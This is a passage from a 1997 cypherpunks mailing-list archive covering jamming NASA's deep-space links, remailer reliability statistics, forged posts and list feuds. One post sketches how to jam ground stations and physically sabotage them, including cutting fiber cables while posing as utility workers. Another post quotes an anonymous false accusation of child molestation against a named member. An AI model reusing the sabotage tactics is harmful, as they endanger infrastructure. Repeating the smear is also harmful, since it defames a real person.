and others microwave links) and access the command uplink systems of a
NASA DSN site.  Whether they have fully secured all of these against
such attack is unclear.  Obviously good old secret key encryption would
work here, and there certainly is a lot of command validation done at
the uplink before the command is sent, so whoever was doing this would
have to have great in-depth knowlage of the command uplink system and
the spacecraft itself.

	And finally, demodulating the downlinks and recovering
information from them is relatively easily accomplished once the hard
part  (obtaining the G/T required) is somehow handled.  NASA tends to
use very straightforward modulations and FEC and does not encrypt the
downlinks.   And a fair amount of detail about the data formats is
publicly available.

							Dave Emery
							die@die.com
							Weston, Mass.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 6 Jul 1997 20:11:02 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: AAAS Anonymity Project (Be AFRAID!)
In-Reply-To: <Pine.SUN.3.96.970703114626.23332B-100000@beast.brainlink.com>
Message-ID: <Pine.LNX.3.93.970706175420.473G-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 3 Jul 1997, Ray Arachelian wrote:

> On Thu, 3 Jul 1997, Robert Hettinga wrote:

[...]

> >      anonymous and pseudonymous communications are desirable, permissible,
> >      or undesirable, and a set of guidelines for the use of anonymous and
> 	^^^^^^^^^^^^^^^
> 
> Sounds like an attempt at furthering legislation to curtail our freedoms.
> I say stay the hell away from this.  It smells of evil TLA's.

OTOH if no-one is perpeard to speak up in such formums to defend our
freedom then it will be all the more easy for them to legistrate.  "We did
this study and no-one gave us a good reson for the remailers to
exist. Therefor we should have all the remailers such down and there
owners shot."

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yucky' a convincing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 6 Jul 1997 20:37:14 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: ISP signatures on outgoing mail
In-Reply-To: <Pine.GSO.3.95.970703200946.1200A-100000@ece>
Message-ID: <Pine.LNX.3.93.970706181647.473J-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 3 Jul 1997, Ryan Anderson wrote:

> On Fri, 4 Jul 1997, ? the Platypus {aka David Formosa} wrote:
> 
> > There is now meany patchers to avoid mail relaying like this.  Good ISP's
> > don't let mail to go from an outside site to anoughter outside site.

[...]

> Well, with current technology, it's not too difficult to forge DNS
> entries,

It means that the spammers will have to go to this effort,  in addtion
forgeing DNS like this has a neggitive infulence on the performence of
most of the 'net.  I beleave thay wouldn't try this in much the same way
spammers rearly forge there way into moderatored newsgroups.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yucky' a convincing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Mon, 7 Jul 1997 10:52:37 +0800
To: Drifter0@aol.com
Subject: Re: can i join
In-Reply-To: <970706155513_847343667@emout10.mail.aol.com>
Message-ID: <33C0645F.C0C2ED32@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Drifter0@aol.com wrote:

> thanx

   ...  Oh, Jesus, another stupid AOLer.  Well, let me go through the
proper procedures.

Time for the flame-form.
-----------------------------
Dear:
  [X] Clueless Newbie        [X] Lamer         [  ] Flamer
  [  ] "Me too" er            [  ] Pervert       [X] Geek
  [  ] Spammer                [  ] Racist        [  ] Fed
  [X] Stereotypical AOLer    [  ] Freak         [  ] Troller
  [  ] Fundamentalist         [  ] Satanist      [  ] Scientologist

 You Are Being Flamed Because:
  [  ] You posted what should have been emailed
  [  ] You obviously don't know how to read your newsgroups line
  [  ] You are trying to make money on a non-commercial newsgroup
  [  ] You self-rightously impose your religious beliefs on others
  [  ] You posted something asking for warez sites
  [  ] You quoted an ENTIRE post in your reply
  [  ] You started a long, stupid thread
  [  ] You continued spreading a long stupid thread
  [  ] Your post is absurdly off topic for where you posted it
  [  ] You posted a followup to crossposted robot-generated spam
  [  ] You posted a "test" in a discussion group rather than in alt.test

  [  ] You posted a "YOU ALL SUCK" message
  [X] You posted low-IQ flamebait
  [  ] You posted a blatently obvious troll
  [  ] You posted a listserver command
  [  ] You followed up to a blatently obvious troll
  [  ] You posted pretending to be someone famous
  [  ] You said "me too" to something
  [  ] You make no sense
  [  ] Your sig/alias/server is dreadful
  [  ] You posted a phone-sex ad
  [  ] You posted a stupid pyramid money making scheme
  [  ] You claimed a pyramid-scheme/chain letter for money was legal
  [  ] Your margin settings (or lack of) make your post unreadable
  [  ] You posted in ElItE CaPiTaLs to look K3WL
  [  ] You posted SCREAMING in RANDOM CAPS for NO APPARENT REASON
  [X] You didn't do anything specific, but appear to be so generally
       worthless that you are being flamed anyway

 To Repent, You Must:

  [  ] Refrain from posting until you have a vague idea what
you're        doing
  [X] Stop masturbating for a week
  [X] Be Senator Exon's love slave
  [  ] Read every newsgroup you posted to for a week
  [X] Give up your AOL account
  [X] Bust up your modem with a hammer and eat it
  [  ] Tell your Mommy to up your medication
  [X] Jump into a bathtub while holding your monitor
  [  ] Actually post something relevant
  [X] Make a homepage shrine for the goddess Hello Kitty
  [X] Read the FAQ
  [  ] Post to alt.test
  [  ] Print your home phone number in your ads
  [X] Be the guest of honor in alt.flame for a month


 In Closing, I'd Like to Say:

  [X] Get a clue
  [X] Get a life
  [X] Go away
  [  ] Age 10 more years before you post again
  [X] Never post again
  [X] I pity your dog
  [  ] You need to seek psychiatric help
  [  ] Morons like you give ammo to pro-censorship geeks
  [X] Yer momma's so fat/stupid/ugly that etc...
  [X] Take your gibberish somewhere else
  [X] Learn how to post or get off the usenet and listserv
  [  ] All of the above





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Mon, 7 Jul 1997 11:24:52 +0800
To: azur@netcom.com (Steve Schear)
Subject: Re: Hack the Mars rover (fwd)
In-Reply-To: <v03102803afe5e6c84462@[10.0.2.15]>
Message-ID: <199707070257.WAA26483@pig.die.com>
MIME-Version: 1.0
Content-Type: text




Steve Schear wrote :

> You're right, its beyond imagination that any amateur would have the
> resources at their disposal to override NASA's uplink (unless ther's
> another Capt'n Midnight lurking at a commercial uplink station ;-).

	Different frequency bands.  And much less power for a commercial
uplink to illuminate a geo satellite with significant antenna gain
toward it's footprint.   Commercial uplinks are usually in the 20 to
500 watt power class going into the feed, whereas the DSN has 5 and
10 kw capability into much larger dishes (30 meter versus 6 to 9 meter).

> 
> Rather than trying to seize control of lander just do a DOS hack by keeping
> the ground stations from hearing the lander signal.  You said yourself that
> the path loss to Mars is very large (maybe around 200 dB), this means that
> even with those huge antennas their link margins can't be too high.

	Greater than 200 db.  But indeed one could certainly come up
with enough rf power from some point on the ground in line of sight to a
DSN dish to  completely overwhelm the signal from the bird.   

	However, such a signal would be instantly spotted and identified
and probably DF'd fairly rapidly.  It would be unlikely one could knock
out the downlink for very long without being located (and vigorously
prosecuted).

	But most of the time Mars is visible from more than one DSN
earth station and given the high priority of the mission the most
likely thing would just be to switch stations to one a third of
the way around the globe or more.   Would obviously be a nuisance
and get some people very mad, but since the ground stations fail
from natural causes from time to time such a handover would be
fairly routine.

> 
> I'll assume that in order to improve the margins they're using spread
> spectrum techniques, trading bandwidth for spectral efficiency.

	Spectral efficiency is usually bits/hertz of bandwidth.  They do
use QPSK or BPSK (mostly QPSK) which is about as power efficient - 
using FEC, vitirbi soft decision detection  and non differential coding
- as any possible modulation would be irrespective of bandwidth.
That is to say for a given data rate and carrier power to noise temp
ratio there is no modulation that would yield a better BER irrespective
of bandwith used.


  Without
> getting into the specifics of jamming technology, unless they have a very
> large process gain (like the 63 dB claimed for GPS)

	Process gain is a measure of the ratio of the spreading sequence
bit rate to the underlying data bit rate for a direct sequence spread
spectrum signal. There is very little to be gained by using spread
signals rather than  non spread signals in this application except
perhaps very accurate ranging information. They do not make sending k
bits per second with BER less than e bits second any easier.   There has
been some use of spreading sequences for ranging in the DSN, but I do
not know whether the pathfinder mission used that mode.

	Obviously a spread signal would require lots more power to 
jam with noise or cw carriers, but even assuming side lobes -80db down
from the main lobe (really hard to do) a jammer working from nearby would
not need to be putting out a lot of power to overload the receiver
and correllators.

, which is very unlikely
> for a number of reasons, that a properly designed transmitter located near
> their downlink stations would spill into the passband of their very
> senstive receivers (probably liquid-He cooled LNAs) making receiption
> difficult to impossible.  Of course, such transmitters would be relatively
> easy to find so only intermittent operation might be practical.
> >
	And would be spotted almost instantly on spectrum analyzers and
other monitors.


> >	And finally, demodulating the downlinks and recovering
> >information from them is relatively easily accomplished once the hard
> >part  (obtaining the G/T required) is somehow handled.  NASA tends to
> >use very straightforward modulations and FEC and does not encrypt the
> >downlinks.   And a fair amount of detail about the data formats is
> >publicly available.
> 
> If the data formats and coding techniques are public and well documented
> the task is simplified many fold.
> 
	Yes it is, although making educated guesses and going from there
is certainly possible.

							Dave Emery
							die@die.com
							Weston, Mass.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 7 Jul 1997 15:33:45 +0800
To: Mac Norton <mnorton@cavern.uark.edu>
Subject: Re: Liberating the Bits
In-Reply-To: <33BAF064.B56@got.net>
Message-ID: <v03102800afe64978274e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:59 PM -0700 7/2/97, Mac Norton wrote:
>On Wed, 2 Jul 1997, Tim May wrote:
>
>>   Hey! I got mine and I'm keeping it!
>>   Just because a bunch of gullible people believed my company's claim
>> that we owned the results of our creative ideas doesn't mean that I
>> have to be a sucker, too.
>>
>
>If you're willing to admit you got yours under false pretenses,
>the rest of us would like to have it back. Now.
>


Let it be known I did not write any of the material above attributed to me.

(I'm just catching up on some of the accumulated e-mail of the past several
days, and am looking at random messages that catch my interest. Perhaps I
am missing some context, but I am quoted in the "Tim May wrote:" line, and
yet none of that quoted section includes anything I wrote.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Mon, 7 Jul 1997 12:44:09 +0800
To: azur@netcom.com (Steve Schear)
Subject: NOISE jamming...
In-Reply-To: <v0310280aafe61146403a@[10.0.2.15]>
Message-ID: <199707070424.AAA26863@pig.die.com>
MIME-Version: 1.0
Content-Type: text



Steve Schear wrote :
> 
> A single jammer is an easy target but multiple coordinated jammers are a
> different story.  My group did some work at TRW on this.  Suffice it to say
> that just a few well coordinted jammers can make DFing even with satellite
> systems very, very, hard.

	There is quite a bit of emitter location technology around,
including much designed to work from airborne platforms that would
likely be deployed as soon as possible.   Seen from the air coordinated
jammers would  likely be widely separted spacially even if they weren't
as seen from the DSN antenna.  And an airborne platform can get very
much closer to one emitter (where its signal predominates) than others
making separating its energy from the rest much easier.

	But yes, a very sophisticated jamming effort sync'd up with GPS
timing and using multiple sites would be something that undoubtably
would knock out a station for a while as countermeasures to such an
attack are not part of operational plans for civilian science research
ground sites.   But many of those sites have several dishes of various
sizes with feeds at the downlink frequency and a dish with 50 or 60 db
of gain and tenth of a degree beamwidth would do fairly well at
isolating a single jammer azimuth and elevation by searching for and
pointing right at it. Perhaps it even would be possible to use two
dishes separted by enough distance to trianglulate.

> 
> >
> >	But most of the time Mars is visible from more than one DSN
> >earth station and given the high priority of the mission the most
> >likely thing would just be to switch stations to one a third of
> >the way around the globe or more.   Would obviously be a nuisance
> >and get some people very mad, but since the ground stations fail
> >from natural causes from time to time such a handover would be
> >fairly routine.
> 
> Which means you'd need to jam all the stations as they came into view.
> Certainly not the work of a lone hacker.

	Hell if you are dead set at disrupting more or less pure
science (mixed with a bit of budget sales pitch) why not rent a
Rider truck loaded with ANFO ? or a HERF device ?  or simply
start shooting at the antenna with a heavy gauge machine gun ?

	Or to be subtler and more stealthy, cut the fiber optic telco
cables connecting the site with the NASA network using nothing more than
a ordinary shovel and a bolt cutter in some out of the way spot.  Many
cable routes are well marked... and you could dress up as the gas
company or water and sewer department and nobody would think twice about
seeing you dig a hole by the side of the road.

> 
> Yep, I just thought they might employ FH to avoid the odd noise blips from
> terrestrial sources (even with reservation of the bands), although SS
> usually   increases front-end bandwidth and lowers sensitivity,
> selectivity, etc.  With link margins already low it probably doen't pay.
> 
	Hopping no,  But they have sometimes used direct sequence spreading
because it supplies a very accurate high resolution ranging yardstick
(as in the case of GPS which works exactly that way).

> >> >
> >	And would be spotted almost instantly on spectrum analyzers and
> >other monitors.
> 
> They'd certainly see the signal, but as I said above a coordinated attack
> from several transmitters can be exceedingly difficult to find, even by
> national technical means.

	Again, there are lots of flying (not orbiting) platforms with
various antennas and DF receivers that can do this sort of thing.
And they can fly any pattern that might be useful and look for interesting
visual, passive IR, and side looking radar observable objects on the ground.
Obtaining a rough (degree or so) direction on the jammers would be 
fairly easy using standard EMI horn and dish antennas or the automated
equivalent on military ELINT vehicles unless the jammers were using
very many sites closely spaced together and phase and frequency 
coherent signals from all the sites.   And certainly sweeping the horizon
with a big dish would likely yield significant location information
simply becuase of the very narrow beam width of the dish's main lobe.

	


							Dave Emery
							die@die.com
							Weston, Mass.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 7 Jul 1997 15:33:18 +0800
To: cypherpunks@Algebra.COM
Subject: Forged Posts
In-Reply-To: <33BAF064.B56@got.net>
Message-ID: <v03102801afe64a7d647e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



The Canadian whacko who goes by "Toto," "TruthMonger," "Xenix Chainsaw
Massacre Author," "Colonel C.J. Parker" (or somesuch) is apparently at it
again.

While I was out of town, he arranged to have this message sent:

At 5:20 PM -0700 7/2/97, Tim May wrote:
>BigNuts wrote:
>> > On Tue, 1 Jul 1997, Tim May wrote:
>> >
>> > > Technology liberates the bits.
>>
>>   Tim gave excellent information on how one can go about using
>> technology to enjoy the fruits of other people's labour without
>> contributing toward the survival of those producing the things
>> he enjoys.
>
>  Anything that isn't nailed down, is mine.
>  Anything that I can pry loose, isn't nailed down.
...etc....


The full headers of this message reveal:

Received: from wombat.sk.sympatico.ca (wombat.sk.sympatico.ca
[142.165.5.136]) by toad.com (8.7.5/8.7.3) with ESMTP id RAA10470 for
<cypherpunks@toad.com>; Wed, 2 Jul 1997 17:21:56 -0700 (PDT)



--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jazzmin Belle Sommers <jazzmin@ou.edu>
Date: Mon, 7 Jul 1997 16:11:58 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
Message-ID: <33c0a3573d20006@hermes.services.ou.edu>
MIME-Version: 1.0
Content-Type: text/plain



I know some of you are into goth and stuff, and since this list almost never
talks about things related to cypherpunkery I thought I'd pop in something
vaguely relevant.

31 Oct in OKC there's a masquerade ball/costume contest/art show/etc for
those interested in the RPG "Kindred".  Email if interested, otherwise ignore.

anyone know of a good goth site to link a web page to?  (It's not up yet.)


Thx,

jazzmin sommers



"Work is the curse of the drinking classes."
        Oscar Wilde





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 7 Jul 1997 22:04:59 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199707071350.GAA10738@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 7 Jul 97 6:47:50 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
jam      remailer@cypherpunks.ca          +**+*****++*    12:58  99.95%
weasel   config@weasel.owl.de             +++-+---+++   1:43:42  99.91%
mix      mixmaster@remail.obscura.com     .-*...-..-.- 10:13:59  99.80%
replay   remailer@replay.com              +**+**- ****     4:56  99.79%
winsock  winsock@rigel.cyberpass.net      - -.-------   5:53:17  99.58%
squirrel mix@squirrel.owl.de              +++-+  -+++   1:42:06  99.46%
cyber    alias@alias.cyberpass.net         **+* +++***    13:35  99.43%
nym      config@nym.alias.net             +##+##++#*##     2:48  99.36%
reno     middleman@cyberpass.net          --+.--* -***  1:39:45  99.31%
hidden   remailer@hidden.net                            4:44:03  -0.56%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 7 Jul 1997 23:06:30 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: [STEGO] RSA
In-Reply-To: <199707071052.MAA11508@basement.replay.com>
Message-ID: <Pine.A41.3.95.970707084006.29772A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Given Tim C. May's propensity to molest little children, is it any
> surprise that the state of California wants to have him castrated?
> 
>   o       o
> /<         >\ Tim C. May
> \\\_______///
> //         \\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Jul 1997 21:30:52 +0800
To: cypherpunks@toad.com
Subject: Re: Liberating the Bits
In-Reply-To: <v03102800afe64978274e@[207.167.93.63]>
Message-ID: <3P3g0D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> Let it be known I did not write any of the material above attributed to me.

And we're supposed to believe you?

I pity a man who has no sense of humor - like Timmy.

> (I'm just catching up on some of the accumulated e-mail of the past several
> days, and am looking at random messages that catch my interest. Perhaps I
> am missing some context, but I am quoted in the "Tim May wrote:" line, and
> yet none of that quoted section includes anything I wrote.)

Can you prove that you didn't write it?

What about the call to assassinate the president posted under your
name to the alt.cypherpunks newsgroup?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Jul 1997 21:30:54 +0800
To: cypherpunks@toad.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970707141240.00967c00@localhost>
Message-ID: <D73g0D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike <Michael.Johnson@mejl.com> writes:
> You mean that it would be fine for foreigners to copy and sell the CD, but
> not to put it on the net? Well, copyright law being what it is, makes this
> a bit tricky. An ftp administrator have never been sentenced for copyright
> violation (please correct me if I'm wrong),

An MIT student named Lamachhia(sp?) reportedly operated a warez FTP archive.
He got arrested and charged with something irrelevant (wire fraud??).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 8 Jul 1997 00:26:56 +0800
To: cypherpunks@toad.com
Subject: Re: [STEGO] RSA
In-Reply-To: <199707071052.MAA11508@basement.replay.com>
Message-ID: <19970707091103.21159@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jul 07, 1997 at 10:39:04AM -0400, Robert Hettinga wrote:
> I think I figured something out.
> 
> Tim hasn't been on the list for a while, and no bot noise. Tim gets on the
> list, we get bot noise. The bot's listening for Tim.
> 
> Cheers,
> Bob

It should be clear by now that Tim actually runs the bot.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 8 Jul 1997 01:06:34 +0800
To: Peter Trei <trei@process.com>
Subject: Re: Jim Bell 6
In-Reply-To: <199707071443.HAA23473@toad.com>
Message-ID: <Pine.GSO.3.96.970707093737.2985A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Peter Trei wrote:

> John Young <jya@pipeline.com> writes:
>        
> > On June 26 the court handling Jim's case extended
> > the time from June 30 to July 11 for the USA to file an 
> > indictment.
> > 
> > This is from an on-line docket of the case via 
> > Public Access to Court Electronic Records (PACER)
> > a subcription service for federal courts.
> > 
> > No indication that Jim has been released, jailed since 
> > his arrest on May 16. No reason given for repeated
> > waiver of right to a speedy trial.
> > 
> > The docket's at:
> > 
> >    http://jya.com/jimbell-dock.htm
> 
> Thanks for keeping us up to date. Jim always seemed to
> me to be a loony, but I never (and still don't) think
> he's capable of the things the warrent alleges him to
> have been planning.

Agreed.  The time I met Jim he seemed like a loon.  A harmless one at
that...  (The stinkbomb attacks are about as far as he would go.  (And I
happen to know that he is guilty of at least one of those.))

The government seems pretty afraid of someone who only has a history of
petty vandalism with chemicals.  I wonder what else they are afraid of and
to what lengths they will go to stop it.

Reminds me of some of the "government is dead" threads of a couple of
years back.  My response was something to the effect of "The government is
not like an old man dying in a corner.  It is more like an old man having
an epeliptic seizure in a crowded mall with lots of guns.".  If the
govenrment is on the way to losing its power over the people, they are
going to take as many of us down with them on the way out.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 8 Jul 1997 01:20:02 +0800
To: cypherpunks@Algebra.COM
Subject: Is the Vulisbot triggered by my posts?
In-Reply-To: <199707071052.MAA11508@basement.replay.com>
Message-ID: <v03102800afe6d1ed98f2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:39 AM -0700 7/7/97, Robert Hettinga wrote:
>I think I figured something out.
>
>Tim hasn't been on the list for a while, and no bot noise. Tim gets on the
>list, we get bot noise. The bot's listening for Tim.
>

An interesting observation. Indeed, I've been down in LA and San Diego for
the past 5 days.

Did the Vulisbot stop posting during my absence? My vague recollection is
that the bot had been quiescent for some time prior to my trip down south,
and I had been (vaguely) ascribing this quiescence to the problems Vulis
has said he is having with his normal computer.

If the Vulisbot is triggered by my posts (but fortunately is limited to
only one or so per day, not to each of my N posts per day), I don't plan to
stop posting just to save you all the halfwit of whomever is responsible.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 7 Jul 1997 23:41:05 +0800
To: cypherpunks@toad.com
Subject: FYI: NSA Requests Source Code From Elvis+
Message-ID: <v0302090aafe6aa6a6cea@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Mime-Version: 1.0
X-Pgp-Keyid-Fprnt: C053E51D - 4FA3298150E404F2  782501876EA2146A
X-Pgp:
http://keys.pgp.com:11371/pks/lookup?op=vindex&search=Vinnie+Moscaritolo&fingerp
rint=on&exact=on
Date: Sun, 6 Jul 1997 19:39:14 -0700
To: rah@shipwright.com
